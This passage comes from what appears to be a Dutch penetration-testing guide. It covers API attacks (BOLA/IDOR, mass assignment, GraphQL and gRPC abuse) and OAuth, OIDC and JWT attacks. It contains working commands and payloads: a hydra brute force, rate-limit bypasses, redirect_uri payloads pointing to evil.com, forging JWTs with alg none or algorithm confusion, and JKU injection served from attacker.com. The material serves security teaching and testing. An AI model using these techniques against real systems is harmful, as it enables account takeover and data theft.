for v in v1 v2 v3 v4 beta internal admin; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com/api/$v/")
  echo "$v: $code"
done

Die laatste techniek — het checken van oude API-versies — is bijzonder waardevol. Ontwikkelaars upgraden hun API van v1 naar v2 en voegen daarbij betere autorisatiecontroles toe. Maar v1 staat nog online, zonder die controles. Het is alsof je de voordeur hebt versterkt met een nieuw slot, maar de achterdeur bent vergeten.

De OWASP API Security Top 10

De OWASP API Security Top 10 is de bijbel voor API-pentesting. Waar de reguliere OWASP Top 10 zich richt op webapplicaties in het algemeen, focust de API-versie specifiek op de kwetsbaarheden die ontstaan wanneer applicaties communiceren via API’s. De lijst werd voor het eerst gepubliceerd in 2019 en herzien in 2023, en als je hem naast je ervaringen legt, herken je elk item als iets dat je in het wild bent tegengekomen.

API1: Broken Object Level Authorization (BOLA)

Dit is de moeder aller API-kwetsbaarheden. Het is zo veelvoorkomend dat het op nummer één staat, en het is zo simpel dat je je afvraagt hoe het in 2026 nog steeds een probleem kan zijn. Het antwoord is: omdat het makkelijk is om het fout te doen en moeilijk om het goed te doen.

BOLA — ook bekend als IDOR (Insecure Direct Object Reference) — treedt op wanneer een API een object retourneert op basis van een identifier die de gebruiker aanlevert, zonder te controleren of die gebruiker dat object mag zien.

# Je eigen profiel
GET /api/v1/users/142 HTTP/1.1
Authorization: Bearer eyJhbG...
Host: target.com

# Response: 200 OK
{"id": 142, "name": "Jan", "email": "jan@example.nl", "ssn": "123456789"}

# Nu wijzig je het ID
GET /api/v1/users/143 HTTP/1.1
Authorization: Bearer eyJhbG...
Host: target.com

# Response: 200 OK  <-- BOLA! Je ziet iemand anders' data
{"id": 143, "name": "Piet", "email": "piet@example.nl", "ssn": "987654321"}

Het probleem is niet dat het endpoint bestaat. Het probleem is dat de server je token valideert (“ja, je bent ingelogd”) maar niet checkt of je user 143 mag opvragen (“nee, dat is niet jouw profiel”). De authenticatie werkt; de autorisatie niet.

In Burp Suite test je dit systematisch met Intruder:

# Burp Intruder setup:
# 1. Stuur het request naar Intruder (Ctrl+I)
# 2. Markeer het ID als payload positie: /api/v1/users/§142§
# 3. Payload type: Numbers, van 1 tot 500, stap 1
# 4. Vergelijk response-lengtes: als ze variëren, heb je data

# Automatiseren met curl:
for id in $(seq 1 200); do
  resp=$(curl -s -H "Authorization: Bearer $TOKEN" \
    "https://target.com/api/v1/users/$id")
  len=${#resp}
  echo "ID $id: $len bytes"
done | sort -t: -k2 -n

Let op: BOLA beperkt zich niet tot numerieke ID’s. UUID’s lijken veiliger, maar als je een UUID kunt raden of lekken (via een ander endpoint, een error message, of een predictable UUID v1), ben je er ook.

API2: Broken Authentication

API-authenticatie is een vak apart. Terwijl webapplicaties vaak sessie-cookies gebruiken die door de browser worden beheerd, gebruiken API’s tokens — Bearer tokens, API keys, JWT’s, OAuth tokens — die door de cliënt-applicatie worden beheerd. En die cliënt-applicatie is JavaScript in een browser, wat betekent dat elke gebruiker met DevTools het token kan inzien, kopiëren en manipuleren.

# Test 1: Ontbrekende authenticatie
# Probeer endpoints zonder Authorization header
curl -s https://target.com/api/v1/users
curl -s https://target.com/api/v1/admin/dashboard

# Test 2: Token hergebruik na logout
# Log in, kopieer het token, log uit, gebruik het token opnieuw
# Als het nog werkt: tokens worden niet geïnvalideerd bij logout

# Test 3: Voorspelbare tokens
# Verzamel meerdere tokens en vergelijk ze
# Incrementele nummers? Timestamp-based? Base64 van user_id?

# Test 4: Brute force
# Is er rate limiting op /api/login?
hydra -l admin@target.com -P /usr/share/wordlists/rockyou.txt \
  target.com https-post-form \
  "/api/v1/auth/login:email=^USER^&password=^PASS^:Invalid credentials"

API3: Broken Object Property Level Authorization

Dit is de subtielere variant van BOLA. De API geeft je wél het juiste object terug, maar stuurt te veel velden mee. Je vraagt om je eigen profiel en krijgt naast je naam en email ook je BSN, salarisgegevens, en de notitie die HR over je heeft geschreven (die je liever niet had gelezen).

// Request: GET /api/v1/me
// Response bevat meer dan de frontend toont:
{
  "id": 142,
  "name": "Jan",
  "email": "jan@example.nl",
  "role": "user",
  "internal_notes": "Klant betaalt altijd te laat",
  "password_hash": "$2b$12$LJ3...",
  "api_key": "sk_live_abc123...",
  "stripe_customer_id": "cus_xyz..."
}

De frontend filtert dit en toont alleen naam en email. Maar Burp Suite toont alles. Dit is een veelgemaakte architectuurfout: de backend stuurt het volledige databaseobject naar de frontend en vertrouwt erop dat de frontend de juiste velden selecteert. Dat is als een dokter die je complete medische dossier meestuurt met de uitslag van je bloedonderzoek, en hoopt dat je de pagina over je buurman niet leest.

Mass Assignment

De omgekeerde richting is minstens zo gevaarlijk. Mass Assignment treedt op wanneer de API meer velden accepteert dan bedoeld:

# Normaal profiel-update request (wat de frontend stuurt)
PUT /api/v1/users/142
{"name": "Jan de Vries"}

# Mass Assignment poging (wat een aanvaller stuurt)
PUT /api/v1/users/142
{"name": "Jan de Vries", "role": "admin", "is_verified": true, "credit_balance": 99999}

# Variaties om te proberen:
# - Voeg "role", "is_admin", "admin", "privilege" toe
# - Voeg "email_verified", "is_active", "status" toe
# - Voeg "price", "amount", "discount", "credit" toe
# - Voeg "password", "password_hash" toe
# - Kijk welke velden de API teruggeeft in GET en stuur ze mee in PUT/PATCH

Het ontdekken van mass-assignment-velden is een kwestie van observeren en proberen. Kijk naar de response van een GET-request: elk veld dat je ziet, is een kandidaat om mee te sturen in een PUT of PATCH. En kijk naar andere endpoints — als /api/admin/users/142 een role veld toont, dan is dat veld de moeite waard om te proberen in het reguliere /api/users/142 endpoint.

API4: Unrestricted Resource Consumption

API’s zonder rate limiting zijn als een buffer zonder limiet: iedereen kan zo vaak opscheppen als hij wil, tot het eten op is — of in dit geval, tot de server plat ligt of tot de aanvaller alle mogelijke wachtwoorden heeft geprobeerd.

# Test rate limiting: hoeveel requests per seconde kun je doen?
for i in $(seq 1 100); do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST https://target.com/api/v1/auth/login \
    -H "Content-Type: application/json" \
    -d '{"email":"test@test.com","password":"wrong'$i'"}')
  echo "Request $i: HTTP $code"
done

# Als je na 100 requests nog steeds 401 krijgt (en geen 429):
# Er is geen rate limiting. Brute force is mogelijk.

# Bypass technieken als er wél rate limiting is:
# 1. Wissel IP via X-Forwarded-For
curl -H "X-Forwarded-For: 1.2.3.$((RANDOM % 255))" ...
# 2. Wissel gebruikersnaam in rotatie
# 3. Vertraag naar net onder de limiet
# 4. Gebruik meerdere API keys/sessions tegelijk

API5: Broken Function Level Authorization

Als BOLA gaat over “ik kan objecten van anderen zien”, gaat API5 over “ik kan functies uitvoeren die niet voor mij bedoeld zijn.” Het verschil: BOLA is horizontaal (gebruiker A ziet data van gebruiker B), API5 is verticaal (gebruiker A voert admin-functies uit).

# Stap 1: Zoek admin endpoints
# Kijk in JavaScript broncode
grep -r "admin" app.js bundle.js

# Stap 2: Probeer ze als gewone gebruiker
curl -H "Authorization: Bearer USER_TOKEN" https://target.com/api/v1/admin/users
curl -H "Authorization: Bearer USER_TOKEN" https://target.com/api/v1/admin/settings
curl -H "Authorization: Bearer USER_TOKEN" -X DELETE https://target.com/api/v1/admin/users/1

# Stap 3: HTTP method tampering
# Misschien is GET beschermd maar POST niet?
curl -X POST https://target.com/api/v1/admin/users
curl -X PUT https://target.com/api/v1/admin/settings

GraphQL: de query-taal die te veel vertelt

GraphQL werd in 2015 door Facebook openbaar gemaakt, en het loste een reëel probleem op. Met REST API’s krijg je wat de server je geeft — soms te veel, soms te weinig. Met GraphQL vraag je precies wat je nodig hebt. Het is als het verschil tussen een buffet (REST) en een à la carte menu (GraphQL). Bij het buffet krijg je alles of niets; bij à la carte bestel je precies die drie ingrediënten die je wilt.

Het probleem is dat het menu soms te uitgebreid is. En dat de ober niet altijd controleert of je bepaalde gerechten wel mag bestellen.

Introspection: het schema opvragen

GraphQL heeft een ingebouwde functie genaamd introspection. Hiermee kun je het volledige schema opvragen: alle types, alle velden, alle queries, alle mutations. Het is alsof je een database kunt vragen: “Vertel me al je tabellen en kolommen.” In productie zou dit uitgeschakeld moeten zijn. In de praktijk is het dat vaak niet.

# Volledige introspection query
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{
    "query": "{__schema{queryType{name}mutationType{name}types{name kind fields{name type{name kind ofType{name}}}}}}"
  }' | python3 -m json.tool

# Compactere versie: alleen types en hun velden
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{__schema{types{name fields{name}}}}"}'

# Tools
# GraphQL Voyager: visualiseert het schema als een interactieve graaf
# InQL: Burp Suite extensie voor GraphQL testing
# graphql-cop: detecteert veelvoorkomende GraphQL misconfiguraties

Als introspection is uitgeschakeld, kun je alsnog het schema reconstrueren via suggesties en foutmeldingen:

# Suggestie-exploitatie
# GraphQL geeft vaak "Did you mean..." suggesties bij typfouten
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{use}"}'
# Response: "Did you mean 'user' or 'users'?"

# Brute force veldnamen
# Gebruik een wordlist van veelvoorkomende GraphQL-velden
for field in id name email password role admin token secret; do
  curl -s -X POST https://target.com/graphql \
    -H "Content-Type: application/json" \
    -d "{\"query\": \"{user{$field}}\"}" | grep -v "error"
done

GraphQL Injection en Authorization Bypass

Dezelfde autorisatieproblemen die REST API’s teisteren, bestaan in GraphQL — maar ze zijn moeilijker te detecteren omdat de query-structuur complexer is.

# BOLA in GraphQL: wijzig het ID in een query
query {
  user(id: "andere-gebruiker-uuid") {
    name
    email
    ssn
    creditCardNumber
  }
}

# Nested object traversal: volg relaties die je niet zou moeten zien
query {
  me {
    orders {
      merchant {
        allOrders {          # Alle bestellingen van alle klanten?
          customer {
            email
            address
          }
        }
      }
    }
  }
}

Query Depth en Batching: Denial of Service

# Diep geneste query (exponentiële complexiteit)
query {
  users {
    friends {
      friends {
        friends {
          friends {
            friends {
              name # Elke laag vermenigvuldigt het aantal database-queries
            }
          }
        }
      }
    }
  }
}

# Alias-based batching: dezelfde query 1000 keer in één request
query {
  a1: user(id: "1") { email }
  a2: user(id: "2") { email }
  a3: user(id: "3") { email }
  # ... tot a1000
}

# Array-based batching: meerdere operations in één HTTP request
[
  {"query": "mutation{login(user:\"admin\",pass:\"pass1\"){token}}"},
  {"query": "mutation{login(user:\"admin\",pass:\"pass2\"){token}}"},
  {"query": "mutation{login(user:\"admin\",pass:\"pass3\"){token}}"}
]
# Dit omzeilt rate limiting die per HTTP request telt

gRPC: Protocol Buffers en binaire API’s

Terwijl REST en GraphQL werken met JSON over HTTP, gebruikt gRPC Protocol Buffers over HTTP/2. Het is sneller, efficiënter, en — hier wordt het interessant — minder transparant. Je kunt een gRPC-call niet simpelweg in de browser bekijken. De data is binair gecodeerd. Het is alsof iedereen om je heen een taal spreekt die je niet verstaat — tot je de juiste tools hebt.

# gRPC reflection: ontdek beschikbare services
# (vergelijkbaar met GraphQL introspection)
grpcurl -plaintext target:50051 list

# Output:
# grpc.reflection.v1alpha.ServerReflection
# users.UserService
# orders.OrderService
# admin.AdminService   <-- interessant

# Beschrijf een service
grpcurl -plaintext target:50051 describe users.UserService

# Output:
# users.UserService is a service:
# rpc GetUser (GetUserRequest) returns (User);
# rpc ListUsers (ListUsersRequest) returns (stream User);
# rpc UpdateUser (UpdateUserRequest) returns (User);
# rpc DeleteUser (DeleteUserRequest) returns (Empty);

# Roep een method aan
grpcurl -plaintext -d '{"id": 1}' target:50051 users.UserService/GetUser

# Dezelfde BOLA-tests als bij REST:
grpcurl -plaintext -d '{"id": 2}' target:50051 users.UserService/GetUser

# Admin methods als gewone gebruiker:
grpcurl -plaintext -H "Authorization: Bearer USER_TOKEN" \
  -d '{"id": 1}' target:50051 admin.AdminService/DeleteUser

gRPC zonder reflection

Als reflection uitgeschakeld is, heb je de .proto bestanden nodig. Die kun je soms vinden in:

Praktische workflow: van ontdekking tot rapport

Stap 1: Passief verzamelen

Gebruik de applicatie normaal terwijl Burp Suite als proxy draait. Elke API-call wordt automatisch vastgelegd. Na tien minuten gebruik heb je een bijna complete API-map.

Stap 2: Documentatie importeren

Importeer de Swagger/OpenAPI spec in Postman of Burp. Dit geeft je ook de endpoints die je tijdens normaal gebruik niet hebt geraakt — admin-functies, batch-operations, webhook-configuratie.

Stap 3: Autorisatie-matrix bouwen

Maak een tabel met endpoints op de rijen en rollen op de kolommen (anoniem, gebruiker, admin). Test elk kruispunt: kan een gebruiker admin-endpoints bereiken? Kan een anonieme bezoeker gebruiker-endpoints bereiken?

Endpoint                    | Anon | User | Admin
--------------------------- | ---- | ---- | -----
GET  /api/v1/users          | 401  | 200  | 200
GET  /api/v1/users/:id      | 401  | 200* | 200   (* alleen eigen profiel?)
PUT  /api/v1/users/:id      | 401  | 200* | 200   (* alleen eigen profiel?)
GET  /api/v1/admin/users     | 401  | 403? | 200   (test dit!)
POST /api/v1/admin/settings  | 401  | 403? | 200   (en dit!)
DELETE /api/v1/users/:id     | 401  | 403? | 200   (en zeker dit!)

Stap 4: Diepte-tests per kwetsbaarheid

Nu je de breedte hebt afgedekt, ga je de diepte in. Voor elk endpoint dat je hebt gevonden:

  1. BOLA/IDOR: wijzig alle ID’s en UUID’s
  2. Mass Assignment: stuur extra velden mee
  3. Injection: test parameters op SQLi, NoSQLi, Command Injection
  4. Rate Limiting: hoeveel requests per minuut kun je doen?
  5. Input validatie: extreem lange strings, negatieve getallen, speciale tekens

Stap 5: Rapportage

API-bevindingen rapporteer je met:

API Pentest Checklist

CategorieTestOWASP
VerkenningSwagger/OpenAPI spec ophalen
VerkenningEndpoint fuzzing met wordlist
VerkenningOude API-versies (v1, v2, beta)API9
AuthnEndpoints zonder authenticatieAPI2
AuthnToken na logout nog geldig?API2
AuthnToken expiry gerespecteerd?API2
AuthzBOLA: wijzig ID in elk endpointAPI1
AuthzAdmin endpoints als gebruikerAPI5
AuthzHTTP method switching (GET→POST)API5
DataExcessive data in responsesAPI3
DataMass Assignment in PUT/PATCHAPI3
RateBrute force op loginAPI4
RateBrute force op OTP/resetAPI4
InjectionSQLi in query parametersAPI8
InjectionNoSQLi (MongoDB operators)API8
ConfigCORS misconfiguratieAPI8
ConfigVerbose error messagesAPI8
ConfigDebug mode / stack tracesAPI8

Microservices-specifieke kwetsbaarheden

Service-to-service authenticatie

In microservices communiceren interne services via API's. De authenticatie varieert van niets (trust the network) tot mTLS. Test altijd of interne endpoints bereikbaar zijn zonder authenticatie via SSRF of vanuit een gecompromitteerde pod.

# Interne endpoints zonder auth
curl http://internal-user-service:8080/api/users
curl http://internal-admin-service:8080/api/admin/config

# API Gateway bypass: direct naar backend
# Via SSRF of vanuit het interne netwerk
nmap -p 8080-8090 10.0.0.0/24
curl -H "X-User-ID: admin" -H "X-Authenticated: true" http://backend:8080/admin

GraphQL geavanceerd

# Batch query abuse voor rate limit bypass
curl -X POST http://target.com/graphql -H "Content-Type: application/json" \
  -d '[{"query":"mutation{login(email:\"admin@t.com\",pass:\"p1\"){token}}"},
       {"query":"mutation{login(email:\"admin@t.com\",pass:\"p2\"){token}}"}]'

# Field suggestion exploitation (schema reconstrueren zonder introspection)
curl -X POST http://target.com/graphql -H "Content-Type: application/json" \
  -d '{"query":"{systemHe}"}'
# "Did you mean 'systemHealth'?"

# Tools: InQL Scanner (Burp), graphql-cop, clairvoyance

OAuth, OIDC en JWT Kwetsbaarheden

OAuth, OIDC en JWT Kwetsbaarheden

Het delegatieprobleem

Ergens rond 2007, in de gouden jaren van Web 2.0 — toen elke startup een mashup was en het woord “social graph” op elke PowerPoint-slide stond — liepen ontwikkelaars tegen een probleem aan dat zo fundamenteel was dat het verbazingwekkend is dat niemand het eerder had opgelost. Het probleem was delegatie. Niet de managementvariant waarbij je werk over de schutting gooit en hoopt dat iemand het opvangt. Nee, de technische variant: hoe geef je een applicatie toegang tot je gegevens bij een andere applicatie, zonder je wachtwoord te delen?

Stel je voor: je hebt een fotobewerking-app die je Google Photos wil lezen. De naïeve oplossing is je Google-wachtwoord aan de fotobewerking-app geven. Dat is als je huissleutel aan de loodgieter geven en hopen dat hij alleen de badkamer bezoekt. Hij zou kunnen. Maar hij hoeft niet.

OAuth loste dit op met een ingenieus systeem van tokens en scopes. In plaats van je wachtwoord te delen, geef je een token met beperkte rechten. De loodgieter krijgt een sleutel die alleen de badkamerdeur opent. Elegant. Maar — en hier wordt het interessant — de implementatie van die elegantie bleek een slagveld van misconfiguraties, kwetsbaarheden en aannames die niet klopten.

OAuth 2.0 in vijf minuten

Laten we beginnen met de basis, want je kunt niet aanvallen wat je niet begrijpt. OAuth 2.0 definieert vier rollen:

En het definieert meerdere “flows” — manieren om een token te verkrijgen. De twee die je het vaakst tegenkomt:

Authorization Code Flow

De veiligste flow, bedoeld voor server-side applicaties. Het werkt als volgt:

1. Client stuurt gebruiker naar Authorization Server:
   GET https://auth.target.com/authorize
     ?response_type=code
     &client_id=foto-app-123
     &redirect_uri=https://foto-app.com/callback
     &scope=photos.read
     &state=abc123random

2. Gebruiker logt in en geeft toestemming

3. Authorization Server redirect terug naar de client:
   GET https://foto-app.com/callback
     ?code=AUTH_CODE_HIER
     &state=abc123random

4. Client wisselt de code in voor een token (server-to-server):
   POST https://auth.target.com/token
   Content-Type: application/x-www-form-urlencoded

   grant_type=authorization_code
   &code=AUTH_CODE_HIER
   &client_id=foto-app-123
   &client_secret=GEHEIM
   &redirect_uri=https://foto-app.com/callback

5. Authorization Server retourneert het access token:
   {"access_token": "eyJhbG...", "token_type": "Bearer", "expires_in": 3600}

Merk op dat de authorization code via de browser van de gebruiker reist (stap 3), maar het access token niet. Het token wordt server-to-server uitgewisseld (stap 4). Dit is bewust: de browser is een vijandige omgeving. Alles dat door de browser gaat, kan worden onderschept — door malware, door browser-extensies, door open WiFi-netwerken, door een collega die over je schouder meekijkt terwijl je net DevTools open hebt staan.

Implicit Flow (en waarom het afgeschaft is)

De Implicit Flow was bedoeld voor JavaScript-applicaties die geen backend hebben. In plaats van een authorization code te ontvangen, krijgt de browser direct het access token:

GET https://auth.target.com/authorize
  ?response_type=token          <-- token in plaats van code
  &client_id=spa-app-456
  &redirect_uri=https://spa-app.com/callback
  &scope=profile

# Redirect:
https://spa-app.com/callback#access_token=eyJhbG...&token_type=Bearer

Zie je het probleem? Het token zit in de URL fragment (#access_token=...). Het wordt niet naar de server gestuurd (fragments gaan niet mee in HTTP-requests), maar het is wél zichtbaar in de browser history, en het kan lekken via de Referer header als de callback-pagina externe resources laadt. In 2023 heeft de OAuth Working Group de Implicit Flow officieel afgeraden. In de praktijk kom je hem nog dagelijks tegen.

PKCE: de oplossing voor publieke clients

PKCE (Proof Key for Code Exchange, uitgesproken als “pixie”) is de moderne oplossing voor JavaScript-applicaties. Het voegt een challenge-response mechanisme toe aan de Authorization Code Flow:

# Genereer een random code_verifier (43-128 tekens)
code_verifier=$(openssl rand -base64 32 | tr -d '=+/' | head -c 43)

# Bereken de code_challenge (SHA256 hash)
code_challenge=$(echo -n $code_verifier | openssl dgst -sha256 -binary | base64 | tr -d '=' | tr '+/' '-_')

# Stap 1: Authorization request met challenge
# ...&code_challenge=$code_challenge&code_challenge_method=S256

# Stap 4: Token request met verifier
# ...&code_verifier=$code_verifier

# De server controleert: SHA256(code_verifier) == code_challenge
# Als een aanvaller de authorization code onderschept,
# kan hij er niets mee zonder de code_verifier

Het is alsof je de loodgieter niet alleen een sleutel geeft, maar ook een code die bij de sleutel hoort. Zelfs als iemand de sleutel kopieert, heeft hij zonder de code niets.

OAuth aanvallen

redirect_uri manipulatie

De redirect_uri is het adres waarnaar de authorization server de gebruiker terugstuurt met de code of het token. Als een aanvaller deze URI kan manipuleren, vangt hij de code op en kan hij die inwisselen voor een token.

De verdediging is eenvoudig: de authorization server moet de redirect_uri exact matchen met een vooraf geregistreerd adres. In de praktijk zijn er talloze manieren waarop die matching faalt:

# Exacte URI bypass pogingen
# Geregistreerd: https://app.target.com/callback

# Subdomain takeover
?redirect_uri=https://evil.app.target.com/callback

# Path traversal
?redirect_uri=https://app.target.com/callback/../../../evil.com

# Open redirect chaining
?redirect_uri=https://app.target.com/redirect?url=https://evil.com

# Unicode normalisatie
?redirect_uri=https://app.target.com/ca%6c%6cback

# @ trucje (userinfo in URL)
?redirect_uri=https://app.target.com@evil.com/callback

# Fragment override
?redirect_uri=https://app.target.com/callback%23@evil.com

# Dubbele URL encoding
?redirect_uri=https://app.target.com%252f%252fevil.com

# Wildcard matching misbruik (als de server *.target.com toestaat)
?redirect_uri=https://xss-in-comments.target.com/page-with-xss

Die laatste is bijzonder gevaarlijk. Als de authorization server wildcard-matching op subdomeinen toestaat, en je vindt een XSS ergens op een subdomein van target.com, kun je de authorization code stelen via die XSS. Het is een ketenaanval: XSS + OAuth misconfiguratie = account takeover.

CSRF via ontbrekende state parameter

De state parameter in OAuth is het equivalent van een CSRF-token. Als de state ontbreekt of niet gevalideerd wordt, kan een aanvaller het volgende doen:

  1. Aanvaller start een OAuth-flow met zijn eigen account
  2. Aanvaller onderschept de callback URL (met de authorization code)
  3. Aanvaller stuurt het slachtoffer naar die callback URL
  4. De applicatie koppelt de aanvallers OAuth-account aan het slachtoffer’s account

Het resultaat: de aanvaller kan inloggen op het slachtoffer’s account via “Login met Google/Facebook/GitHub.”

# Test: verwijder de state parameter uit de authorize URL
# Werkt de flow nog? Dan is er geen CSRF-bescherming.

# Test: vervang de state door een andere waarde
# Accepteert de callback een state die niet overeenkomt met de sessie?

# Test: hergebruik een state van een eerdere flow
# Wordt dezelfde state twee keer geaccepteerd?

Scope escalation

# Origineel: beperkte scope
?scope=profile

# Escalatie pogingen:
?scope=profile email admin
?scope=profile+admin
?scope=*
?scope=profile%20admin%20write:users

JWT: het token dat je kunt lezen

JSON Web Tokens zijn de standaard manier om claims (beweringen over een gebruiker) te transporteren tussen systemen. Een JWT ziet er onleesbaar uit — drie Base64-gecodeerde blokken gescheiden door punten — maar het is eigenlijk volledig transparant. Iedereen kan een JWT decoderen en de inhoud lezen. De integriteit wordt beschermd door een handtekening; de vertrouwelijkheid niet.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.     <-- Header
eyJ1c2VyIjoiam9obiIsInJvbGUiOiJ1c2VyIn0.   <-- Payload
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c <-- Signature
# Decoderen
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
# {"alg":"HS256","typ":"JWT"}

echo "eyJ1c2VyIjoiam9obiIsInJvbGUiOiJ1c2VyIn0" | base64 -d
# {"user":"john","role":"user"}

# jwt_tool: alles-in-één JWT analyse
python3 jwt_tool.py $TOKEN

De “none” algorithm aanval

Dit is de klassieke JWT-aanval, en het feit dat hij in 2026 nog steeds werkt bij sommige applicaties is een bron van zowel vreugde (voor pentesters) als wanhoop (voor iedereen die om beveiliging geeft).

Het idee is simpel: verander het algorithm in de header naar "none" en verwijder de signature. Als de server het algorithm uit de token leest in plaats van het af te dwingen, accepteert hij een ongesigneerd token.

# Handmatig
# Origineel: {"alg":"HS256","typ":"JWT"}
# Wijzig naar: {"alg":"none","typ":"JWT"}
echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_'
# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0

# Payload: wijzig role naar admin
echo -n '{"user":"john","role":"admin"}' | base64 | tr -d '=' | tr '+/' '-_'
# eyJ1c2VyIjoiam9obiIsInJvbGUiOiJhZG1pbiJ9

# Token: header.payload. (let op de punt aan het eind, geen signature)
# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiam9obiIsInJvbGUiOiJhZG1pbiJ9.

# jwt_tool doet dit automatisch
python3 jwt_tool.py $TOKEN -X a

# Variaties die jwt_tool probeert:
# alg: "none", "None", "NONE", "nOnE", "NonE"
# Met en zonder trailing punt

HS256 weak secret brute force

Als het JWT is gesigneerd met HS256 (HMAC-SHA256), dan is de veiligheid volledig afhankelijk van de sterkte van het gedeelde geheim. Als dat geheim “secret”, “password”, of “your-256-bit-secret” is (de standaardwaarde op jwt.io — die vaker in productie voorkomt dan je zou willen weten), dan is het game over.

# hashcat: GPU-accelerated JWT cracking
# Mode 16500 = JWT
echo "$TOKEN" > jwt.txt
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt

# Als je het secret hebt, forge een nieuw token:
python3 jwt_tool.py $TOKEN -T \
  -S hs256 \
  -p "gevonden_secret" \
  -pc role -pv admin \
  -pc user -pv administrator

# Andere veelvoorkomende secrets om te proberen:
# secret, password, 123456, changeme
# jwt-secret, token-secret, api-secret
# De naam van de applicatie, het domein
# UUID's die in de broncode staan

Algorithm Confusion: RS256 naar HS256

Dit is de meest elegante JWT-aanval. De server is geconfigureerd voor RS256 (asymmetrisch: private key signeert, public key verifieert). De aanvaller verandert het algorithm naar HS256 (symmetrisch: één gedeeld geheim voor signing en verificatie). De server leest het algorithm uit de token, schakelt over naar HS256, en gebruikt de publieke sleutel als HMAC-secret. Aangezien de publieke sleutel publiek is, kan de aanvaller het token zelf signeren.

# Stap 1: Verkrijg de publieke sleutel
# Vaak beschikbaar op:
curl -s https://target.com/.well-known/jwks.json
curl -s https://target.com/oauth/certs
# Of uit het TLS-certificaat:
openssl s_client -connect target.com:443 | openssl x509 -pubkey -noout > pub.pem

# Stap 2: jwt_tool key confusion
python3 jwt_tool.py $TOKEN -X k -pk pub.pem

# Stap 3: Handmatig met Python
import jwt
import json

# Lees publieke sleutel
with open('pub.pem', 'r') as f:
    pub_key = f.read()

# Forge token met HS256 en publieke sleutel als secret
payload = {"user": "john", "role": "admin"}
token = jwt.encode(payload, pub_key, algorithm="HS256")
print(token)

Waarom werkt dit? Omdat veel JWT-bibliotheken een functie hebben als jwt.verify(token, key) die het algorithm uit de token header leest. Als de header zegt “HS256”, gebruikt de bibliotheek de key parameter als HMAC-secret — ook als die key eigenlijk een RSA public key is. Moderne bibliotheken dwingen het algorithm af, maar oudere versies (en slechte configuratie) zijn kwetsbaar.

JKU en JWK Header Injection

De jku (JWK Set URL) en jwk (JSON Web Key) headers in een JWT vertellen de server waar de publieke sleutel te vinden is, of bevatten de sleutel zelf. Als de server deze headers vertrouwt zonder validatie, kan een aanvaller zijn eigen sleutel injecteren.

# Stap 1: Genereer een eigen RSA keypair
openssl genrsa -out attacker.pem 2048
openssl rsa -in attacker.pem -pubout -out attacker_pub.pem

# Stap 2: Maak een JWKS bestand
python3 -c "
from jwcrypto import jwk
import json
with open('attacker_pub.pem') as f:
    key = jwk.JWK.from_pem(f.read().encode())
print(json.dumps({'keys': [json.loads(key.export())]}))
" > jwks.json

# Stap 3: Host het op je server
python3 -m http.server 8080 &

# Stap 4: Maak een JWT met jku die naar jouw server wijst
python3 jwt_tool.py $TOKEN -X s -ju "http://attacker.com:8080/jwks.json" -pr attacker.pem

OpenID Connect (OIDC)

OpenID Connect is een identiteitslaag bovenop OAuth 2.0. Terwijl OAuth 2.0 alleen gaat over autorisatie (wat mag je doen?), voegt OIDC authenticatie toe (wie ben je?). Het belangrijkste verschil: OIDC introduceert het ID Token — een JWT dat claims bevat over de identiteit van de gebruiker.

// ID Token payload (na decodering)
{
  "iss": "https://auth.target.com",
  "sub": "user-uuid-123",
  "aud": "client-app-456",
  "exp": 1700000000,
  "iat": 1699996400,
  "nonce": "abc123",
  "email": "jan@target.com",
  "name": "Jan de Vries",
  "email_verified": true
}

OIDC-specifieke aanvallen

# 1. Nonce replay: hergebruik een ID token van een eerdere sessie
# Test: wordt de nonce gevalideerd? Zo niet: session fixation.

# 2. Audience confusion: gebruik een ID token van app A bij app B
# Als app B de 'aud' claim niet controleert, accepteert het tokens
# die voor andere applicaties bedoeld zijn.

# 3. Issuer validation: accepteert de app tokens van andere issuers?
# Wijzig de 'iss' claim en signeer met je eigen key.

# 4. Discovery endpoint
curl -s https://target.com/.well-known/openid-configuration | python3 -m json.tool
# Dit onthult alle endpoints, ondersteunde flows, en signing keys.

Praktische JWT Pentesting Workflow

Stap 1: Token verzamelen en analyseren

# Verzamel tokens uit:
# - Authorization header: Bearer eyJ...
# - Cookies: session=eyJ...
# - URL parameters: ?token=eyJ...
# - Local storage: localStorage.getItem('auth_token')
# - Response body na login

# Analyseer met jwt_tool
python3 jwt_tool.py $TOKEN

# Check: welk algorithm? HS256, RS256, ES256?
# Check: welke claims? user, role, admin, exp?
# Check: is er een kid (key ID) header?

Stap 2: Alle aanvallen uitvoeren

# jwt_tool All Tests mode
python3 jwt_tool.py $TOKEN -M at -t "https://target.com/api/me" -rh "Authorization: Bearer"

# Dit probeert automatisch:
# - None algorithm
# - Algorithm confusion
# - Null signature
# - Token expiry bypass
# - Claim tampering

Stap 3: Manual claim tampering

# Als je het signing secret/key hebt:
python3 jwt_tool.py $TOKEN -T -S hs256 -p "secret" \
  -pc role -pv admin \
  -pc user_id -pv 1

# Test het geforged token:
curl -H "Authorization: Bearer $FORGED_TOKEN" https://target.com/api/admin/dashboard

JWT / OAuth Pentest Checklist

TestHoeImpact
None algorithmjwt_tool -X aToken forgery, admin access
Weak HS256 secrethashcat -m 16500Token forgery
RS256→HS256 confusionjwt_tool -X kToken forgery
JKU injectionjwt_tool -X sToken forgery
Token expiryGebruik verlopen tokenSessie persistentie
Token na logoutHergebruik token na logoutSessie persistentie
Claim tamperingWijzig role/admin claimsPrivilege escalation
redirect_uri bypassManipuleer redirect URLToken theft
State CSRFVerwijder/hergebruik stateAccount linking
Scope escalationVraag extra scopes aanMeer rechten
PKCE ontbreektCheck code_challengeCode interceptie
Implicit flowToken in URL fragment?Token leakage

Geavanceerde OAuth-aanvallen

Token leakage via browser mechanismen

